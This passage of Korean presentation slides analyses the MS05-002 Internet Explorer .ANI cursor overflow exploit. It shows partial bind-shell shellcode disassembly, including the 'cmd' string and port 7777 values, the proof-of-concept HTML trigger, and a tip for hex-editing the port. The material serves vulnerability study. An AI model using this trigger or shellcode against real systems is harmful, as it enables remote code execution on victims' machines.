anesra@{gmail.com,null2root.org}2006-07-07 42

4. Exploit 분석1) Exploit Code 분석 (C 코드) – VS 디버거 이용 (anib 초기화-0x90)

Page 43: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 43

4. Exploit 분석1) Exploit Code 분석 (C 코드) – VS 디버거 이용 (anib 설정 부분)

Page 44: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 44

4. Exploit 분석1) Exploit Code 분석 (C 코드) – VS 디버거 이용 (포트 설정 부분)

Page 45: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 45

4. Exploit 분석1) Exploit Code 분석 (C 코드) – 쉘코드 분석

Page 46: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 46

4. Exploit 분석1) Exploit Code 분석 (C 코드) – 쉘코드 분석

Page 47: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 47

4. Exploit 분석1) Exploit Code 분석 (C 코드) – 쉘코드 분석?shellcode@@3PAEA:00421A30 EB 70 jmp shellcode+72h (00421aa2)00421A32 56 push esi00421A33 33 C0 xor eax,eax00421A35 64 8B 40 30 mov eax,dword ptr fs:[eax+30h]00421A39 85 C0 test eax,eax00421A3B 78 0C js shellcode+19h (00421a49)00421A3D 8B 40 0C mov eax,dword ptr [eax+0Ch]00421A40 8B 70 1C mov esi,dword ptr [eax+1Ch]

중략..

00421B20 8B D0 mov edx,eax00421B22 E8 7D FF FF FF call shellcode+74h (00421aa4)00421B27 B8 01 63 6D 64 mov eax,646D6301h // cmd00421B2C C1 F8 08 sar eax,8

중략..

00421B58 50 push eax00421B59 B8 02 01 11 5C mov eax,5C110102h // port 부분00421B5E FE CC dec ah00421BB5 50 push eax

중략...

00421BC1 FF 55 0C call dword ptr [ebp+0Ch]

Page 48: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 48

4. Exploit 분석1) Exploit Code 분석 (C 코드) – VS 디버거 이용

- Exploit의 동작 완전 분석 함..

Page 49: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 49

4. Exploit 분석2) HTML 코드 분석

• 단순히 poc.ani 애니메이션 포멧의 파일을 여는 동작을 함

<html>

(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit<br>Copyright (c) 2004-2005 .: houseofdabus :.<br><a href="http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx">Patch (MS05-002)</a>

&lt;script&gt;alert("This is provided as proof-of-concept code only for educational purposes and testing by authorized individuals with permission to do so.")&lt;/script&gt;

<head>

<style>

* {CURSOR: url("poc.ani")} // poc.ani 파일을 불러옴. 불러올 때 bof발생

</style>

</head>

</html>

Page 50: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 50

4. Exploit 분석3) ANI 파일 분석

• 생성된 ANI 파일(poc.ani)을 HEX 값으로 봄 (UltraEdit이용)

• ANI header와 jmp offset, no jitsu? 부분

Page 51: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 51

4. Exploit 분석3) ANI 파일 분석

• Shellcode가 들어간 부분 (poc.ani)

1E 61 = 7777포트 bind

Page 52: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 52

4. Exploit 분석[TIP] Linux 에서 vim으로 binary Hex edit 하기

• .ani 파일을 Hex 로 봐서 특정 포트 부분만 바꿔서 테스트 해보기 위해

• 1단계 : 바이너리 모드로 편집한다. $vi –b datafile

• 2단계 : Hex 모드로 바꾼다. :%!xxd

• 3단계 : Hex값을 편집한 후 원래 모드로 변환 : %!xxd –r

• 4단계 : 저장한다. :wq!

Page 53: Windows 취약점 테스트및분석 MS05-002 · 2008-06-10 · 2006-07-07 anesra@{gmail.com,null2root.org} 1 Windows 취약점 테스트및분석 MS05-002 처음 작성 : 2005. 1.

anesra@{gmail.com,null2root.org}2006-07-07 53

Discussion